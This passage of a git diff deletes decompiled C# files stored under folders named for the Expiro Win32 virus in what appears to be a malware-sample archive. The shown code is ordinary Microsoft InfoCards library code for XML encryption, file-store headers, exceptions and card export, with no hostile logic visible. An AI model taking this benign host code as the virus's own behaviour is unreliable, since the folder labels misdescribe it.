cipherText); - this.m_cipherData.SetCipherValueFragments(iv, cipherText); - } - - public void WriteTo(XmlWriter writer) - { - writer.WriteStartElement("enc", nameof (EncryptedData), "http://www.w3.org/2001/04/xmlenc#"); - if (!string.IsNullOrEmpty(this.m_type)) - writer.WriteAttributeString("Type", (string) null, this.m_type); - if (!string.IsNullOrEmpty(this.m_encryptionMethod.algorithm)) - this.m_encryptionMethod.WriteTo(writer); - if (this.m_keyIdentifier != null) - this.m_tokenSerializer.WriteKeyIdentifier((XmlWriter) XmlDictionaryWriter.CreateDictionaryWriter(writer), this.m_keyIdentifier); - this.m_cipherData.WriteTo(writer); - writer.WriteEndElement(); - } - - private void GenerateIVAndEncrypt( - SymmetricAlgorithm algorithm, - byte[] plainText, - int offset, - int length, - out byte[] iv, - out byte[] cipherText) - { - RandomNumberGenerator randomNumberGenerator = (RandomNumberGenerator) new RNGCryptoServiceProvider(); - int length1 = algorithm.BlockSize / 8; - iv = new byte[length1]; - randomNumberGenerator.GetBytes(iv); - algorithm.Padding = PaddingMode.PKCS7; - algorithm.Mode = CipherMode.CBC; - using (ICryptoTransform encryptor = algorithm.CreateEncryptor(algorithm.Key, iv)) - cipherText = encryptor.TransformFinalBlock(plainText, offset, length); - } - - private struct CipherData - { - private byte[] m_iv; - private byte[] m_cipherText; - - public byte[] CipherValue => this.m_cipherText; - - public void SetCipherValueFragments(byte[] iv, byte[] cipherText) - { - this.m_iv = iv; - this.m_cipherText = cipherText; - } - - public void WriteTo(XmlWriter writer) - { - writer.WriteStartElement("enc", nameof (CipherData), "http://www.w3.org/2001/04/xmlenc#"); - writer.WriteStartElement("enc", "CipherValue", "http://www.w3.org/2001/04/xmlenc#"); - if (this.m_iv != null) - writer.WriteBase64(this.m_iv, 0, this.m_iv.Length); - writer.WriteBase64(this.m_cipherText, 0, this.m_cipherText.Length); - writer.WriteEndElement(); - writer.WriteEndElement(); - } - } - - private struct EncryptionMethodElement - { - internal string algorithm; - - public void WriteTo(XmlWriter writer) - { - writer.WriteStartElement("enc", "EncryptionMethod", "http://www.w3.org/2001/04/xmlenc#"); - writer.WriteAttributeString("Algorithm", (string) null, this.algorithm); - writer.WriteEndElement(); - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/EncryptedFileStoreHeader.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/EncryptedFileStoreHeader.cs deleted file mode 100644 index 5097af7e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/EncryptedFileStoreHeader.cs +++ /dev/null @@ -1,39 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.EncryptedFileStoreHeader -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System.Runtime.InteropServices; - -namespace Microsoft.InfoCards -{ - [StructLayout(LayoutKind.Explicit, Size = 608)] - internal struct EncryptedFileStoreHeader - { - public const int StructSize = 608; - public const int VersionOffset = 0; - public const int SizeOffset = 4; - public const int KeyBlockOffset = 8; - public const int IndexOffset = 600; - public const int DataSizeOffset = 604; - [MarshalAs(UnmanagedType.U4)] - [FieldOffset(0)] - public uint Version; - [MarshalAs(UnmanagedType.I4)] - [FieldOffset(4)] - public int Size; - [MarshalAs(UnmanagedType.Struct)] - [FieldOffset(8)] - public KeyBlock KeyBlock; - [MarshalAs(UnmanagedType.Struct)] - [FieldOffset(8)] - public KeyBlockV2 KeyBlockV2; - [MarshalAs(UnmanagedType.I4)] - [FieldOffset(600)] - public int IndexSize; - [MarshalAs(UnmanagedType.I4)] - [FieldOffset(604)] - public int DataSize; - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/EncryptedObjectHeader.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/EncryptedObjectHeader.cs deleted file mode 100644 index b954df7f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/EncryptedObjectHeader.cs +++ /dev/null @@ -1,45 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.EncryptedObjectHeader -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System.Runtime.InteropServices; - -namespace Microsoft.InfoCards -{ - [StructLayout(LayoutKind.Explicit, Size = 72)] - internal struct EncryptedObjectHeader - { - public const int StructSize = 72; - public const int IVBlockSize = 32; - public const int IVOffset = 0; - public const int GlobalIdOffset = 32; - public const int LastChangeOffset = 48; - public const int DataSizeOffset = 56; - public const int ObjectTypeOffset = 60; - public const int LocalIdOffset = 64; - public const int TailPaddingOffset = 68; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 32)] - [FieldOffset(0)] - public byte IV; - [MarshalAs(UnmanagedType.Struct)] - [FieldOffset(32)] - public GlobalId GlobalId; - [MarshalAs(UnmanagedType.I8)] - [FieldOffset(48)] - public long LastChange; - [MarshalAs(UnmanagedType.I4)] - [FieldOffset(56)] - public int DataSize; - [MarshalAs(UnmanagedType.I4)] - [FieldOffset(60)] - public int ObjectType; - [MarshalAs(UnmanagedType.I4)] - [FieldOffset(64)] - public int LocalId; - [MarshalAs(UnmanagedType.I4)] - [FieldOffset(68)] - private int TailPadding; - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/EncryptionUtility.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/EncryptionUtility.cs deleted file mode 100644 index 8322ce36..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/EncryptionUtility.cs +++ /dev/null @@ -1,116 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.EncryptionUtility -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IdentityModel.Selectors; -using System.IdentityModel.Tokens; -using System.IO; -using System.Security.Cryptography; -using System.Security.Cryptography.X509Certificates; -using System.ServiceModel.Security; -using System.ServiceModel.Security.Tokens; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal sealed class EncryptionUtility - { - private EncryptionUtility() - { - } - - public static XmlElement EncryptSecurityToken( - SecurityToken tokenToBeEncrypted, - X509Certificate2 cert, - string encryptingAlgorithm, - string asymmetricKeyWrapAlgorithm, - ProtocolProfile profile) - { - MemoryStream streamToBeEncrypted = new MemoryStream(); - XmlDictionaryWriter dictionaryWriter = XmlDictionaryWriter.CreateDictionaryWriter((XmlWriter) new XmlTextWriter((TextWriter) new StreamWriter((Stream) streamToBeEncrypted))); - profile.TokenSerializer.WriteToken((XmlWriter) dictionaryWriter, tokenToBeEncrypted); - dictionaryWriter.Flush(); - streamToBeEncrypted.Seek(0L, SeekOrigin.Begin); - return EncryptionUtility.EncryptToken(streamToBeEncrypted, cert, encryptingAlgorithm, asymmetricKeyWrapAlgorithm, profile); - } - - public static XmlElement EncryptSecurityToken( - XmlElement elem, - X509Certificate2 cert, - string encryptingAlgorithm, - string asymmetricKeyWrapAlgorithm, - ProtocolProfile profile) - { - MemoryStream streamToBeEncrypted = new MemoryStream(); - XmlDictionaryWriter dictionaryWriter = XmlDictionaryWriter.CreateDictionaryWriter((XmlWriter) new XmlTextWriter((TextWriter) new StreamWriter((Stream) streamToBeEncrypted))); - elem.WriteTo((XmlWriter) dictionaryWriter); - dictionaryWriter.Flush(); - streamToBeEncrypted.Seek(0L, SeekOrigin.Begin); - return EncryptionUtility.EncryptToken(streamToBeEncrypted, cert, encryptingAlgorithm, asymmetricKeyWrapAlgorithm, profile); - } - - private static XmlElement EncryptToken( - MemoryStream streamToBeEncrypted, - X509Certificate2 cert, - string encryptingAlgorithm, - string asymmetricKeyWrapAlgorithm, - ProtocolProfile profile) - { - InfoCardTrace.ThrowInvalidArgumentConditional(string.IsNullOrEmpty(encryptingAlgorithm), nameof (encryptingAlgorithm)); - InfoCardTrace.ThrowInvalidArgumentConditional(null == cert, nameof (cert)); - SecurityToken wrappingToken = (SecurityToken) new X509SecurityToken(cert, "id"); - SecurityAlgorithmSuite securityAlgorithmSuite1 = SecurityAlgorithmSuite.Default; - SecurityAlgorithmSuite securityAlgorithmSuite2; - switch (encryptingAlgorithm) - { - case "http://www.w3.org/2001/04/xmlenc#aes128-cbc": - securityAlgorithmSuite2 = SecurityAlgorithmSuite.Basic128; - break; - case "http://www.w3.org/2001/04/xmlenc#aes192-cbc": - securityAlgorithmSuite2 = SecurityAlgorithmSuite.Basic192; - break; - case "http://www.w3.org/2001/04/xmlenc#aes256-cbc": - securityAlgorithmSuite2 = SecurityAlgorithmSuite.Basic256; - break; - case "http://www.w3.org/2001/04/xmlenc#tripledes-cbc": - securityAlgorithmSuite2 = SecurityAlgorithmSuite.TripleDes; - break; - default: - throw InfoCardTrace.ThrowHelperError((Exception) new TokenCreationException(SR.GetString("UnsupportedEncryptionAlgorithm", (object) encryptingAlgorithm))); - } - SecurityKeyIdentifier wrappingTokenReference = new SecurityKeyIdentifier(new SecurityKeyIdentifierClause[1] - { - (SecurityKeyIdentifierClause) wrappingToken.CreateKeyIdentifierClause() - }); - byte[] numArray = new byte[securityAlgorithmSuite2.DefaultEncryptionKeyDerivationLength / 8]; - new RNGCryptoServiceProvider().GetNonZeroBytes(numArray); - WrappedKeySecurityToken keySecurityToken = new WrappedKeySecurityToken(string.Empty, numArray, asymmetricKeyWrapAlgorithm, wrappingToken, wrappingTokenReference); - SecurityKeyIdentifier securityKeyIdentifier = new SecurityKeyIdentifier(new SecurityKeyIdentifierClause[1] - { - (SecurityKeyIdentifierClause) new EncryptedKeyIdentifierClause(keySecurityToken.GetWrappedKey(), keySecurityToken.WrappingAlgorithm, keySecurityToken.WrappingTokenReference) - }); - SymmetricAlgorithm symmetricAlgorithm = ((SymmetricSecurityKey) keySecurityToken.SecurityKeys[0]).GetSymmetricAlgorithm(encryptingAlgorithm); - EncryptedData encryptedData = new EncryptedData(); - encryptedData.TokenSerializer = (SecurityTokenSerializer) profile.TokenSerializer; - encryptedData.KeyIdentifier = securityKeyIdentifier; - encryptedData.EncryptionMethod = encryptingAlgorithm; - encryptedData.Type = "http://www.w3.org/2001/04/xmlenc#Element"; - encryptedData.SetUpEncryption(symmetricAlgorithm, streamToBeEncrypted.GetBuffer(), 0, Convert.ToInt32(streamToBeEncrypted.Length)); - MemoryStream input = new MemoryStream(); - XmlDictionaryWriter dictionaryWriter = XmlDictionaryWriter.CreateDictionaryWriter((XmlWriter) new XmlTextWriter((TextWriter) new StreamWriter((Stream) input))); - encryptedData.WriteTo((XmlWriter) dictionaryWriter); - dictionaryWriter.Flush(); - input.Seek(0L, SeekOrigin.Begin); - XmlElement xmlElement = (XmlElement) new XmlDocument().ReadNode((XmlReader) Utility.CreateReaderWithQuotas((Stream) input)); - Array.Clear((Array) streamToBeEncrypted.GetBuffer(), 0, Convert.ToInt32(streamToBeEncrypted.Length)); - Array.Clear((Array) input.GetBuffer(), 0, Convert.ToInt32(input.Length)); - streamToBeEncrypted.Close(); - input.Close(); - return xmlElement; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/EndCreateSecurityTokenRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/EndCreateSecurityTokenRequest.cs deleted file mode 100644 index fdc0e4d2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/EndCreateSecurityTokenRequest.cs +++ /dev/null @@ -1,25 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.EndCreateSecurityTokenRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class EndCreateSecurityTokenRequest : UIAgentAsyncEndRequest - { - public EndCreateSecurityTokenRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalAsyncOutArgs(BinaryWriter writer) => ((GetTokenRequest) this.ParentRequest).Token.DisplayToken.Serialize(writer); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/EndGetFileNameFromUserRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/EndGetFileNameFromUserRequest.cs deleted file mode 100644 index 58c89d26..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/EndGetFileNameFromUserRequest.cs +++ /dev/null @@ -1,33 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.EndGetFileNameFromUserRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class EndGetFileNameFromUserRequest : UIAgentAsyncEndRequest - { - public EndGetFileNameFromUserRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalAsyncOutArgs(BinaryWriter writer) - { - GetFileNameResult result = (GetFileNameResult) this.Result; - InfoCardTrace.Assert(null != result, "The get file result cannot be null."); - Utility.SerializeString(writer, result.FileName); - Utility.SerializeBytes(writer, result.FileContent); - writer.Flush(); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/EndSelectCardRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/EndSelectCardRequest.cs deleted file mode 100644 index 206d264b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/EndSelectCardRequest.cs +++ /dev/null @@ -1,29 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.EndSelectCardRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class EndSelectCardRequest : UIAgentAsyncEndRequest - { - public EndSelectCardRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalAsyncOutArgs(BinaryWriter writer) - { - int result = (int) this.Result; - writer.Write(result); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ExceptionList.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ExceptionList.cs deleted file mode 100644 index b23e3b17..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ExceptionList.cs +++ /dev/null @@ -1,22 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ExceptionList -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System; -using System.Collections.Generic; - -namespace Microsoft.InfoCards -{ - internal sealed class ExceptionList - { - public static ExceptionList AllNonFatal = new ExceptionList(); - public static ExceptionList Empty = new ExceptionList(); - private Dictionary m_list; - - private ExceptionList() => this.m_list = new Dictionary(0); - - public bool Contains(Type exceptionType) => this.m_list.ContainsKey(exceptionType); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ExceptionTranslationTable.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ExceptionTranslationTable.cs deleted file mode 100644 index 09c7828d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ExceptionTranslationTable.cs +++ /dev/null @@ -1,41 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ExceptionTranslationTable -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System; -using System.Collections.Generic; -using System.Security; - -namespace Microsoft.InfoCards -{ - internal sealed class ExceptionTranslationTable - { - private Dictionary m_table; - private static ExceptionTranslationTable s_thisTable; - - public static ExceptionTranslationTable Instance - { - get - { - if (ExceptionTranslationTable.s_thisTable == null) - ExceptionTranslationTable.s_thisTable = new ExceptionTranslationTable(); - return ExceptionTranslationTable.s_thisTable; - } - } - - private ExceptionTranslationTable() - { - this.m_table = new Dictionary(); - this.m_table.Add(typeof (ApplicationException), -2146232832); - this.m_table.Add(typeof (InvalidOperationException), -1073413888); - this.m_table.Add(typeof (NotImplementedException), -2147467263); - this.m_table.Add(typeof (SecurityException), -2147024891); - } - - public int this[Type key] => this.m_table[key]; - - public bool ContainsKey(Type key) => this.m_table.ContainsKey(key); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ExportException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ExportException.cs deleted file mode 100644 index 8090cb97..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ExportException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ExportException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class ExportException : InfoCardBaseException - { - private const int HRESULT = -1073413886; - - public ExportException() - : base(-1073413886) - { - } - - public ExportException(string message) - : base(-1073413886, message) - { - } - - public ExportException(string message, Exception inner) - : base(-1073413886, message, inner) - { - } - - protected ExportException(SerializationInfo si, StreamingContext sc) - : base(-1073413886, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ExportFileRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ExportFileRequest.cs deleted file mode 100644 index 3dd18d9a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ExportFileRequest.cs +++ /dev/null @@ -1,114 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ExportFileRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.IO; -using System.Text; -using System.Xml; -using System.Xml.Schema; - -namespace Microsoft.InfoCards -{ - internal class ExportFileRequest : UIAgentRequest - { - private string m_filename; - private string m_passphrase; - private string[] m_cardIds; - - public ExportFileRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalInArgs() - { - BinaryReader reader = (BinaryReader) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode); - this.m_filename = Utility.DeserializeString(reader); - this.m_passphrase = Utility.DeserializeString(reader); - uint length = reader.ReadUInt32(); - this.m_cardIds = new string[(IntPtr) length]; - for (uint index = 0; index < length; ++index) - this.m_cardIds[(IntPtr) index] = Utility.DeserializeString(reader); - } - - protected override void OnProcess() - { - InfoCardTrace.Assert(!string.IsNullOrEmpty(this.m_filename), "No file name was specified"); - InfoCardTrace.Assert(!string.IsNullOrEmpty(this.m_passphrase), " No passphrase specified for the file"); - StoreConnection connection = StoreConnection.GetConnection(); - try - { - RoamingStoreFile roamingStoreFile = new RoamingStoreFile(); - try - { - for (int index = 0; index < this.m_cardIds.Length; ++index) - { - InfoCard infoCard = new InfoCard(new Uri(this.m_cardIds[index])); - infoCard.Get(connection); - infoCard.GetMasterKey(connection); - roamingStoreFile.Cards.Add(infoCard); - } - using (FileStream output = new FileStream(this.m_filename, FileMode.Create)) - { - using (XmlWriter writer = XmlWriter.Create((Stream) output, new XmlWriterSettings() - { - CloseOutput = false - })) - { - roamingStoreFile.WriteTo(this.m_passphrase, writer); - writer.Flush(); - } - output.Flush(); - } - } - finally - { - foreach (InfoCard card in (IEnumerable) roamingStoreFile.Cards) - card.ClearSensitiveData(); - } - AuditLog.AuditStoreExport(); - } - catch (XmlSchemaValidationException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ExportException(SR.GetString("SchemaValidationFailed"), (Exception) ex)); - } - catch (XmlException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ExportException(SR.GetString("InvalidImportFile"), (Exception) ex)); - } - catch (UnauthorizedAccessException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ExportException(SR.GetString("ImportInaccesibleFile"), (Exception) ex)); - } - catch (IOException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ExportException(SR.GetString("InvalidImportFile"), (Exception) ex)); - } - catch (ArgumentException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ExportException(SR.GetString("ImportInaccesibleFile"), (Exception) ex)); - } - catch (SerializationIncompleteException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ExportException(SR.GetString("FailedToSerializeObject", (object) ex.ObjectType), (Exception) ex)); - } - finally - { - connection.Close(); - } - } - - protected override void OnMarshalOutArgs() - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/FailedToStartupUIException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/FailedToStartupUIException.cs deleted file mode 100644 index 7035dbfc..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/FailedToStartupUIException.cs +++ /dev/null @@ -1,31 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.FailedToStartupUIException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class FailedToStartupUIException : InfoCardBaseException - { - private const int HRESULT = -1073413867; - - public FailedToStartupUIException() - : base(-1073413867) - { - } - - public FailedToStartupUIException(string message, Exception inner) - : base(-1073413867, message, inner) - { - } - - protected FailedToStartupUIException(SerializationInfo si, StreamingContext sc) - : base(-1073413867, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/FileAccessException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/FileAccessException.cs deleted file mode 100644 index ed259c35..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/FileAccessException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.FileAccessException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class FileAccessException : InfoCardBaseException - { - private const int HRESULT = -1073413864; - - public FileAccessException() - : base(-1073413864) - { - } - - public FileAccessException(string message) - : base(-1073413864, message) - { - } - - public FileAccessException(string message, Exception inner) - : base(-1073413864, message, inner) - { - } - - protected FileAccessException(SerializationInfo si, StreamingContext sc) - : base(-1073413864, si, sc) - { - } - } -} diff --git 